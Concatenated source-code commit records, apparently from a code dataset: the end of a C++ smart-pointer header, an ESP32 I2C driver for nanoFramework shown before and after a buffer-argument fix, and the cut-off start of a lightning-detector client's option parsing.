std::shared_ptr<T>(ptr);\n }\n\n template <class U>\n SharedPointer<T> &operator=(const SharedPointer<U> &other) {\n if(!other.isValid())\n throw Exception(\"Cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass() + \" failed because object was invalid (uninitialized or deleted).\");\n std::shared_ptr<T> ptr = std::dynamic_pointer_cast<T>(other.getPtr());\n if(ptr == NULL)\n throw Exception(\"Illegal cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass());\n mSmartPtr = std::shared_ptr<T>(ptr);\n return *this;\n }\n\n template <class U>\n void swap(SharedPointer<U> &other) {\n mSmartPtr.swap(other.getReferenceToPointer());\n }\n\n bool isValid() const {\n \/\/ Check if smart pointer actually points to something\n return mSmartPtr.get() != NULL;\n }\n\n operator unsigned long int() const {\n return (unsigned long int)mSmartPtr.get();\n }\n\n bool operator==(const SharedPointer<T> &other) {\n return this->getPtr() == other.getPtr();\n }\n\n T* operator->() {\n \treturn mSmartPtr.get();\n\t\t}\n T* operator->() const {\n \treturn mSmartPtr.get();\n\t\t}\n T* get() {\n \treturn mSmartPtr.get();\n }\n\n std::shared_ptr<T> getPtr() const { return mSmartPtr; };\n std::shared_ptr<T> & getReferenceToPointer() { return mSmartPtr; };\n private:\n std::shared_ptr<T> mSmartPtr;\n\n};\n\ntemplate <class T>\nusing UniquePointer = std::unique_ptr<T>;\n\ntemplate <class T>\nWeakPointer<T> &WeakPointer<T>::operator=(const SharedPointer<T> &other) {\n mWeakPtr = other.getPtr();\n return *this;\n}\n\n} \/\/ end namespace fast\n\n\n\/\/ A custum boost hashing function for the SharedPointers so that they can be used\n\/\/ in unordered data structures. TODO verify that this works\nnamespace boost {\ntemplate <class U>\nstd::size_t hash_value(fast::SharedPointer<U> const& obj) {\n return (std::size_t)obj.getPtr().get();\n}\ntemplate <class U>\nstd::size_t hash_value(fast::WeakPointer<U> const& obj) {\n return (std::size_t)obj.lock().getPtr().get();\n}\n}\n\n\n#endif \/* SMARTPOINTERS_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2017 The nanoFramework project contributors\n\/\/ Portions Copyright (c) Microsoft Corporation. All rights reserved.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\n#include <string.h>\n#include <targetPAL.h>\n#include \"win_dev_i2c_native.h\"\n#include \"Esp32_DeviceMapping.h\"\n\n \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ !!! KEEP IN SYNC WITH Windows.Devices.I2c.I2cSharingMode (in managed code) !!! \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum I2cSharingMode\n{\n Exclusive = 0,\n Shared\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ !!! KEEP IN SYNC WITH Windows.Devices.I2c.I2cTransferStatus (in managed code) !!! \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n enum I2cTransferStatus\n{\n I2cTransferStatus_FullTransfer = 0,\n I2cTransferStatus_ClockStretchTimeout,\n I2cTransferStatus_PartialTransfer,\n I2cTransferStatus_SlaveAddressNotAcknowledged,\n I2cTransferStatus_UnknownError\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ !!! KEEP IN SYNC WITH Windows.Devices.I2c.I2cBusSpeed (in managed code) !!! \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum I2cBusSpeed\n{\n I2cBusSpeed_StandardMode = 0,\n I2cBusSpeed_FastMode\n};\n\ntypedef Library_win_dev_i2c_native_Windows_Devices_I2c_I2cConnectionSettings I2cConnectionSettings;\n\nstatic char Esp_I2C_Initialised_Flag[I2C_NUM_MAX] = {0,0};\n\nvoid Esp32_I2c_UnitializeAll()\n{\n for (int c = 0; c < I2C_NUM_MAX; c++) \n {\n if (Esp_I2C_Initialised_Flag[c])\n {\n \/\/ Delete bus driver \n i2c_driver_delete((i2c_port_t)c);\n Esp_I2C_Initialised_Flag[c] = 0;\n }\n }\n}\n\nvoid Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::SetConfig(i2c_port_t bus, CLR_RT_HeapBlock* config)\n{\n int busSpeed = config[ I2cConnectionSettings::FIELD___busSpeed ].NumericByRef().s4;\n\n gpio_num_t DataPin = (gpio_num_t)Esp32_GetMappedDevicePins( DEV_TYPE_I2C, bus, 0);\n gpio_num_t ClockPin = (gpio_num_t)Esp32_GetMappedDevicePins( DEV_TYPE_I2C, bus, 1);\n \n i2c_config_t conf;\n conf.mode = I2C_MODE_MASTER;\n conf.sda_io_num = DataPin;\n conf.sda_pullup_en = GPIO_PULLUP_ENABLE;\n conf.scl_io_num = ClockPin;\n conf.scl_pullup_en = GPIO_PULLUP_ENABLE;\n conf.master.clk_speed = (busSpeed==0)? 100000 : 400000;\n\n i2c_param_config(bus, &conf);\n}\n\n\nHRESULT IRAM_ATTR Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::NativeInit___VOID( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n \/\/ get a pointer to the managed object instance and check that it's not NULL\n CLR_RT_HeapBlock* pThis = stack.This(); FAULT_ON_NULL(pThis);\n \n \/\/ get bus index\n \/\/ this is coded with a multiplication, need to perform and int division to get the number\n \/\/ see the comments in the SpiDevice() constructor in managed code for details, subtract 1 to get ESP32 bus number\n i2c_port_t bus = (i2c_port_t)((pThis[ FIELD___deviceId ].NumericByRef().s4 \/ 1000) - 1);\n if ( bus != I2C_NUM_0 && bus != I2C_NUM_1)\n {\n NANOCLR_SET_AND_LEAVE(CLR_E_INVALID_PARAMETER);\n }\n\n \/\/ get a pointer to the managed spi connectionSettings object instance\n CLR_RT_HeapBlock* pConfig = pThis[ FIELD___connectionSettings ].Dereference();\n\n \/\/ Set the Bus parameters\n SetConfig( bus, pConfig);\n \n esp_err_t res = i2c_driver_install( bus, I2C_MODE_MASTER, 0, 0, 0);\n if ( res != ESP_OK)\n {\n NANOCLR_SET_AND_LEAVE(CLR_E_INVALID_PARAMETER);\n }\n\n \/\/ Ensure driver gets unitialized during soft reboot\n HAL_AddSoftRebootHandler(Esp32_I2c_UnitializeAll);\n Esp_I2C_Initialised_Flag[bus] = 1;\n }\n NANOCLR_NOCLEANUP();\n}\n\nHRESULT Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::DisposeNative___VOID( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n \/\/ get a pointer to the managed object instance and check that it's not NULL\n CLR_RT_HeapBlock* pThis = stack.This(); FAULT_ON_NULL(pThis);\n\n i2c_port_t bus = (i2c_port_t)((pThis[ FIELD___deviceId ].NumericByRef().s4 \/ 1000) - 1);\n\n i2c_driver_delete(bus);\n\n Esp_I2C_Initialised_Flag[bus] = 0;\n } \n NANOCLR_NOCLEANUP();\n}\n\nHRESULT Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::NativeTransmit___WindowsDevicesI2cI2cTransferResult__SZARRAY_U1__SZARRAY_U1( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n unsigned char * writeData = NULL;\n unsigned char * readData = NULL;\n int writeSize = 0;\n int readSize = 0;\n esp_err_t i2cStatus;\n int returnStatus = I2cTransferStatus_FullTransfer;\n\n CLR_RT_HeapBlock* result;\n \/\/ create the return object (I2cTransferResult)\n CLR_RT_HeapBlock& top = stack.PushValueAndClear();\n\n \/\/ get a pointer to the managed object instance and check that it's not NULL\n CLR_RT_HeapBlock* pThis = stack.This(); FAULT_ON_NULL(pThis);\n \n \/\/ get a pointer to the managed spi connectionSettings object instance\n CLR_RT_HeapBlock* pConfig = pThis[ FIELD___connectionSettings ].Dereference();\n\n \/\/ get bus index\n \/\/ this is coded with a multiplication, need to perform and int division to get the number\n \/\/ see the comments in the SpiDevice() constructor in managed code for details, subtract 1 to get ESP32 bus number\n i2c_port_t bus = (i2c_port_t)((pThis[ FIELD___deviceId ].NumericByRef().s4 \/ 1000) - 1);\n \n \/\/ Set the Bus parameters\n SetConfig( bus, pConfig);\n\n int slaveAddress = pConfig[ I2cConnectionSettings::FIELD___slaveAddress ].NumericByRef().s4;\n \n \/\/ dereference the write and read buffers from the arguments\n CLR_RT_HeapBlock_Array* writeBuffer = stack.Arg1().DereferenceArray();\n if (writeBuffer != NULL)\n {\n \/\/ grab the pointer to the array by getting the first element of the array\n writeData = writeBuffer->GetFirstElement();\n\n \/\/ get the size of the buffer by reading the number of elements in the HeapBlock array\n writeSize = writeBuffer->m_numOfElements;\n }\n\n CLR_RT_HeapBlock_Array* readBuffer = stack.Arg3().DereferenceArray();\n if (readBuffer != NULL)\n {\n \/\/ grab the pointer to the array by getting the first element of the array\n readData = readBuffer->GetFirstElement();\n\n \/\/ get the size of the buffer by reading the number of elements in the HeapBlock array\n readSize = readBuffer->m_numOfElements;\n }\n\n i2c_cmd_handle_t cmd = i2c_cmd_link_create();\n i2c_master_start(cmd);\n i2c_master_write_byte( cmd, ( slaveAddress << 1 ) | I2C_MASTER_WRITE, 1);\n\n if ( writeSize != 0 ) \/\/ Write\n {\n i2c_master_write(cmd, &writeData[0], writeSize, true);\n }\n if (readSize != 0 ) \/\/ Read\n {\n i2cStatus = i2c_master_read(cmd, &readData[0], readSize, true);\n }\n\n i2c_master_stop(cmd);\n \n i2cStatus = i2c_master_cmd_begin(bus, cmd, 1000 \/ portTICK_RATE_MS);\n i2c_cmd_link_delete(cmd);\n\n \/\/ create return object\n NANOCLR_CHECK_HRESULT(g_CLR_RT_ExecutionEngine.NewObjectFromIndex(top, g_CLR_RT_WellKnownTypes.m_I2cTransferResult));\n result = top.Dereference(); FAULT_ON_NULL(result);\n\n if (i2cStatus != ESP_OK)\n {\n \/\/ set the result field\n if ( i2cStatus == ESP_FAIL )\n {\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___status ].SetInteger((CLR_UINT32)I2cTransferStatus_SlaveAddressNotAcknowledged);\n }\n else\n {\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___status ].SetInteger((CLR_UINT32)I2cTransferStatus_UnknownError);\n }\n\n \/\/ set the bytes transferred field\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___bytesTransferred ].SetInteger(0);\n }\n else\n {\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___status ].SetInteger((CLR_UINT32)I2cTransferStatus_FullTransfer);\n\n \/\/ set the bytes transferred field\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___bytesTransferred ].SetInteger((CLR_UINT32)(writeSize + readSize));\n\n if(readSize > 0)\n {\n \/\/ because this was a Read transaction, need to copy from DMA buffer to managed buffer\n memcpy(readBuffer->GetFirstElement(), &readData[0], readSize);\n }\n }\n\n \/\/ null pointers and vars\n writeData = NULL;\n readData = NULL;\n writeBuffer = NULL;\n readBuffer = NULL;\n pThis = NULL;\n\n stack.SetResult_I4(returnStatus);\n }\n NANOCLR_NOCLEANUP();\n}\n\nHRESULT Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::GetDeviceSelector___STATIC__STRING( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n \/\/ declare the device selector string whose max size is \"I2C1,I2C2,I2C3,\" + terminator and init with the terminator\n char deviceSelectorString[ 15 + 1] = { 0 };\n\n strcat(deviceSelectorString, \"I2C1,I2C2\");\n \n \/\/ because the caller is expecting a result to be returned\n \/\/ we need set a return result in the stack argument using the appropriate SetResult according to the variable type (a string here)\n stack.SetResult_String(deviceSelectorString);\n }\n NANOCLR_NOCLEANUP();\n}\n<commit_msg>Fix error introduced in last ESP32 I2C change (#674)<commit_after>\/\/\n\/\/ Copyright (c) 2017 The nanoFramework project contributors\n\/\/ Portions Copyright (c) Microsoft Corporation. All rights reserved.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\n#include <string.h>\n#include <targetPAL.h>\n#include \"win_dev_i2c_native.h\"\n#include \"Esp32_DeviceMapping.h\"\n\n \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ !!! KEEP IN SYNC WITH Windows.Devices.I2c.I2cSharingMode (in managed code) !!! \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum I2cSharingMode\n{\n Exclusive = 0,\n Shared\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ !!! KEEP IN SYNC WITH Windows.Devices.I2c.I2cTransferStatus (in managed code) !!! \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n enum I2cTransferStatus\n{\n I2cTransferStatus_FullTransfer = 0,\n I2cTransferStatus_ClockStretchTimeout,\n I2cTransferStatus_PartialTransfer,\n I2cTransferStatus_SlaveAddressNotAcknowledged,\n I2cTransferStatus_UnknownError\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ !!! KEEP IN SYNC WITH Windows.Devices.I2c.I2cBusSpeed (in managed code) !!! \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum I2cBusSpeed\n{\n I2cBusSpeed_StandardMode = 0,\n I2cBusSpeed_FastMode\n};\n\ntypedef Library_win_dev_i2c_native_Windows_Devices_I2c_I2cConnectionSettings I2cConnectionSettings;\n\nstatic char Esp_I2C_Initialised_Flag[I2C_NUM_MAX] = {0,0};\n\nvoid Esp32_I2c_UnitializeAll()\n{\n for (int c = 0; c < I2C_NUM_MAX; c++) \n {\n if (Esp_I2C_Initialised_Flag[c])\n {\n \/\/ Delete bus driver \n i2c_driver_delete((i2c_port_t)c);\n Esp_I2C_Initialised_Flag[c] = 0;\n }\n }\n}\n\nvoid Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::SetConfig(i2c_port_t bus, CLR_RT_HeapBlock* config)\n{\n int busSpeed = config[ I2cConnectionSettings::FIELD___busSpeed ].NumericByRef().s4;\n\n gpio_num_t DataPin = (gpio_num_t)Esp32_GetMappedDevicePins( DEV_TYPE_I2C, bus, 0);\n gpio_num_t ClockPin = (gpio_num_t)Esp32_GetMappedDevicePins( DEV_TYPE_I2C, bus, 1);\n \n i2c_config_t conf;\n conf.mode = I2C_MODE_MASTER;\n conf.sda_io_num = DataPin;\n conf.sda_pullup_en = GPIO_PULLUP_ENABLE;\n conf.scl_io_num = ClockPin;\n conf.scl_pullup_en = GPIO_PULLUP_ENABLE;\n conf.master.clk_speed = (busSpeed==0)? 100000 : 400000;\n\n i2c_param_config(bus, &conf);\n}\n\n\nHRESULT IRAM_ATTR Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::NativeInit___VOID( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n \/\/ get a pointer to the managed object instance and check that it's not NULL\n CLR_RT_HeapBlock* pThis = stack.This(); FAULT_ON_NULL(pThis);\n \n \/\/ get bus index\n \/\/ this is coded with a multiplication, need to perform and int division to get the number\n \/\/ see the comments in the SpiDevice() constructor in managed code for details, subtract 1 to get ESP32 bus number\n i2c_port_t bus = (i2c_port_t)((pThis[ FIELD___deviceId ].NumericByRef().s4 \/ 1000) - 1);\n if ( bus != I2C_NUM_0 && bus != I2C_NUM_1)\n {\n NANOCLR_SET_AND_LEAVE(CLR_E_INVALID_PARAMETER);\n }\n\n \/\/ get a pointer to the managed spi connectionSettings object instance\n CLR_RT_HeapBlock* pConfig = pThis[ FIELD___connectionSettings ].Dereference();\n\n \/\/ Set the Bus parameters\n SetConfig( bus, pConfig);\n \n esp_err_t res = i2c_driver_install( bus, I2C_MODE_MASTER, 0, 0, 0);\n if ( res != ESP_OK)\n {\n NANOCLR_SET_AND_LEAVE(CLR_E_INVALID_PARAMETER);\n }\n\n \/\/ Ensure driver gets unitialized during soft reboot\n HAL_AddSoftRebootHandler(Esp32_I2c_UnitializeAll);\n Esp_I2C_Initialised_Flag[bus] = 1;\n }\n NANOCLR_NOCLEANUP();\n}\n\nHRESULT Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::DisposeNative___VOID( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n \/\/ get a pointer to the managed object instance and check that it's not NULL\n CLR_RT_HeapBlock* pThis = stack.This(); FAULT_ON_NULL(pThis);\n\n i2c_port_t bus = (i2c_port_t)((pThis[ FIELD___deviceId ].NumericByRef().s4 \/ 1000) - 1);\n\n i2c_driver_delete(bus);\n\n Esp_I2C_Initialised_Flag[bus] = 0;\n } \n NANOCLR_NOCLEANUP();\n}\n\nHRESULT Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::NativeTransmit___WindowsDevicesI2cI2cTransferResult__SZARRAY_U1__SZARRAY_U1( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n unsigned char * writeData = NULL;\n unsigned char * readData = NULL;\n int writeSize = 0;\n int readSize = 0;\n esp_err_t i2cStatus;\n int returnStatus = I2cTransferStatus_FullTransfer;\n\n CLR_RT_HeapBlock* result;\n \/\/ create the return object (I2cTransferResult)\n CLR_RT_HeapBlock& top = stack.PushValueAndClear();\n\n \/\/ get a pointer to the managed object instance and check that it's not NULL\n CLR_RT_HeapBlock* pThis = stack.This(); FAULT_ON_NULL(pThis);\n \n \/\/ get a pointer to the managed spi connectionSettings object instance\n CLR_RT_HeapBlock* pConfig = pThis[ FIELD___connectionSettings ].Dereference();\n\n \/\/ get bus index\n \/\/ this is coded with a multiplication, need to perform and int division to get the number\n \/\/ see the comments in the SpiDevice() constructor in managed code for details, subtract 1 to get ESP32 bus number\n i2c_port_t bus = (i2c_port_t)((pThis[ FIELD___deviceId ].NumericByRef().s4 \/ 1000) - 1);\n \n \/\/ Set the Bus parameters\n SetConfig( bus, pConfig);\n\n int slaveAddress = pConfig[ I2cConnectionSettings::FIELD___slaveAddress ].NumericByRef().s4;\n \n \/\/ dereference the write and read buffers from the arguments\n CLR_RT_HeapBlock_Array* writeBuffer = stack.Arg1().DereferenceArray();\n if (writeBuffer != NULL)\n {\n \/\/ grab the pointer to the array by getting the first element of the array\n writeData = writeBuffer->GetFirstElement();\n\n \/\/ get the size of the buffer by reading the number of elements in the HeapBlock array\n writeSize = writeBuffer->m_numOfElements;\n }\n\n CLR_RT_HeapBlock_Array* readBuffer = stack.Arg2().DereferenceArray();\n if (readBuffer != NULL)\n {\n \/\/ grab the pointer to the array by getting the first element of the array\n readData = readBuffer->GetFirstElement();\n\n \/\/ get the size of the buffer by reading the number of elements in the HeapBlock array\n readSize = readBuffer->m_numOfElements;\n }\n\n i2c_cmd_handle_t cmd = i2c_cmd_link_create();\n i2c_master_start(cmd);\n i2c_master_write_byte( cmd, ( slaveAddress << 1 ) | I2C_MASTER_WRITE, 1);\n\n if ( writeSize != 0 ) \/\/ Write\n {\n i2c_master_write(cmd, &writeData[0], writeSize, true);\n }\n if (readSize != 0 ) \/\/ Read\n {\n i2cStatus = i2c_master_read(cmd, &readData[0], readSize, true);\n }\n\n i2c_master_stop(cmd);\n \n i2cStatus = i2c_master_cmd_begin(bus, cmd, 1000 \/ portTICK_RATE_MS);\n i2c_cmd_link_delete(cmd);\n\n \/\/ create return object\n NANOCLR_CHECK_HRESULT(g_CLR_RT_ExecutionEngine.NewObjectFromIndex(top, g_CLR_RT_WellKnownTypes.m_I2cTransferResult));\n result = top.Dereference(); FAULT_ON_NULL(result);\n\n if (i2cStatus != ESP_OK)\n {\n \/\/ set the result field\n if ( i2cStatus == ESP_FAIL )\n {\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___status ].SetInteger((CLR_UINT32)I2cTransferStatus_SlaveAddressNotAcknowledged);\n }\n else\n {\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___status ].SetInteger((CLR_UINT32)I2cTransferStatus_UnknownError);\n }\n\n \/\/ set the bytes transferred field\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___bytesTransferred ].SetInteger(0);\n }\n else\n {\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___status ].SetInteger((CLR_UINT32)I2cTransferStatus_FullTransfer);\n\n \/\/ set the bytes transferred field\n result[ Library_win_dev_i2c_native_Windows_Devices_I2c_I2cTransferResult::FIELD___bytesTransferred ].SetInteger((CLR_UINT32)(writeSize + readSize));\n\n if(readSize > 0)\n {\n \/\/ because this was a Read transaction, need to copy from DMA buffer to managed buffer\n memcpy(readBuffer->GetFirstElement(), &readData[0], readSize);\n }\n }\n\n \/\/ null pointers and vars\n writeData = NULL;\n readData = NULL;\n writeBuffer = NULL;\n readBuffer = NULL;\n pThis = NULL;\n\n stack.SetResult_I4(returnStatus);\n }\n NANOCLR_NOCLEANUP();\n}\n\nHRESULT Library_win_dev_i2c_native_Windows_Devices_I2c_I2cDevice::GetDeviceSelector___STATIC__STRING( CLR_RT_StackFrame& stack )\n{\n NANOCLR_HEADER();\n {\n \/\/ declare the device selector string whose max size is \"I2C1,I2C2,I2C3,\" + terminator and init with the terminator\n char deviceSelectorString[ 15 + 1] = { 0 };\n\n strcat(deviceSelectorString, \"I2C1,I2C2\");\n \n \/\/ because the caller is expecting a result to be returned\n \/\/ we need set a return result in the stack argument using the appropriate SetResult according to the variable type (a string here)\n stack.SetResult_String(deviceSelectorString);\n }\n NANOCLR_NOCLEANUP();\n}\n<|endoftext|>"} {"text":"<commit_before>\/* \n\n Copyright (C) 2003-2010 Egon Wanke <blitzortung@gmx.org>\n Copyright (C) 2010 Andreas Würl <awuerl@gmx.net>\n\n*\/\n\n#include <iostream>\n#include <string>\n\n#include <boost\/program_options.hpp>\n\n#include \"namespaces.h\"\n#include \"hardware\/comm\/SerialPort.h\"\n#include \"hardware\/comm\/Serial.h\"\n#include \"hardware\/gps\/Garmin.h\"\n#include \"hardware\/gps\/Sirf.h\"\n#include \"hardware\/gps\/Sjn.h\"\n#include \"hardware\/pcb\/V4.h\"\n#include \"hardware\/pcb\/V6.h\"\n#include \"data\/sample\/V1.h\"\n#include \"network\/Base.h\"\n#include \"util\/RingBuffer.h\"\n#include \"exception\/Base.h\"\n#include \"Logger.h\"\n\nint main(int argc, char **argv) {\n\n std::string username, password, servername;\n unsigned short serverport;\n std::string serialPortName = \"\/dev\/ttyUSB0\";\n std::string outputFile = \"\";\n int serialBaudRate = 19200;\n int sleepTime = 20;\n int sampleVersion = 1;\n int pcbVersion = 6;\n double eventRateLimit = 1.0;\n std::string gpsType = \"sirf\";\n\n bo::Logger logger(\"\");\n\n \/\/ programm arguments\/options\n boost::program_options::options_description desc(\"program options\");\n desc.add_options()\n (\"help\", \"show program help\")\n (\"serial-device,d\", po::value<std::string>(&serialPortName)->default_value(serialPortName), \"path to serial device\")\n (\"baud-rate,b\", po::value<int>(&serialBaudRate)->default_value(serialBaudRate), \"baud rate of serial port (4800, 9600, 19200, 38400)\")\n (\"username,u\", po::value<std::string>(&username), \"username of blitzortung.org\")\n (\"password,p\", po::value<std::string>(&password), \"password of blitzortung.org\")\n (\"server-host,h\", po::value<std::string>(&servername), \"blitzortung.org servername\")\n (\"server-port\", po::value<unsigned short>(&serverport)->default_value(8308), \"blitzortung.org serverport\")\n (\"sleep-time,s\", po::value<int>(&sleepTime)->default_value(sleepTime), \"sleep time between data transmission\")\n (\"gps-type,g\", po::value<std::string>(&gpsType)->default_value(gpsType), \"type of gps device (sjn, garmin or sirf)\")\n (\"pcb-version\", po::value<int>(&pcbVersion)->default_value(pcbVersion), \"version of PCB (4 or 6)\")\n (\"event-rate-limit,l\", po::value<double>(&eventRateLimit)->default_value(eventRateLimit), \"limit of event rate (in events per second) 1.0 means max. 3600 events per hour\")\n (\"output,o\", po::value<std::string>(&outputFile), \"output file name (e.g. Name_%Y%m%d.bor)\")\n (\"verbose,v\", \"verbose mode\")\n (\"debug\", \"debug mode\")\n ;\n\n \/\/ parse command line options\n po::variables_map vm;\n po::store(po::command_line_parser(argc, argv).options(desc).run(), vm);\n po::notify(vm); \n\n \/\/ help output or no 'sql-statement' given\n if (vm.count(\"help\")) {\n std::cout << argv[0] << \" [options]\" << std::endl << std::endl;\n std::cout << desc << std::endl;\n std::cout << std::endl;\n\n return 1;\n }\n\n if (! vm.count(\"username\")) {\n std::cerr << \"'username' missing\\n\";\n return 5;\n }\n \n if (! vm.count(\"password\")) {\n std::cerr << \"'password' missing\\n\";\n return 5;\n }\n \n if (! vm.count(\"server-host\")) {\n std::cerr << \"'server-host' missing\\n\";\n return 5;\n }\n\n \/\/ logging setup\n\n logger.setPriority(log4cpp::Priority::NOTICE);\n\n if (vm.count(\"verbose\")) {\n logger.setPriority(log4cpp::Priority::INFO);\n }\n\n if (vm.count(\"debug\")) {\n logger.setPriority(log4cpp::Priority::DEBUG);\n }\n \n\n switch (serialBaudRate) {\n case 4800:\n case 9600:\n case 19200:\n case 38400:\n break;\n\n default:\n std::ostringstream oss;\n oss << \"invalid serial baud rate: \" << serialBaudRate;\n throw bo::exception::Base(oss.str());\n }\n\n \/\/ create serial port object\n\n bo::hardware::comm::SerialPort serialPort(serialPortName, serialBaudRate);\n bo::hardware::comm::Serial serial(serialPort);\n\n \/\/ select type of gps hardware\n\n bo::hardware::gps::Base::AP gps;\n\n if (gpsType == \"garmin\") {\n gps = bo::hardware::gps::Base::AP(new bo::hardware::gps::Garmin(serial));\n } else if (gpsType == \"sirf\") {\n gps = bo::hardware::gps::Base::AP(new bo::hardware::gps::Sirf(serial));\n } else if (gpsType == \"sjn\") {\n gps = bo::hardware::gps::Base::AP(new bo::hardware::gps::Sjn(serial));\n } else {\n std::ostringstream oss;\n oss << \"invalid value of gps-type: '\" << gpsType << \"'\";\n throw bo::exception::Base(oss.str());\n }\n\n\n \/\/ create sample creator object\n std::auto_ptr<bo::data::sample::Base::Creator> sampleCreator;\n\n switch (sampleVersion) {\n case 1:\n sampleCreator = std::auto_ptr<bo::data::sample::Base::Creator>(new bo::data::sample::V1::Creator());\n break;\n\n default:\n std::ostringstream oss;\n oss << \"invalid sample version: \" << pcbVersion;\n throw bo::exception::Base(oss.str());\n }\n\n \/\/ create hardware driver object for blitzortung measurement hardware\n 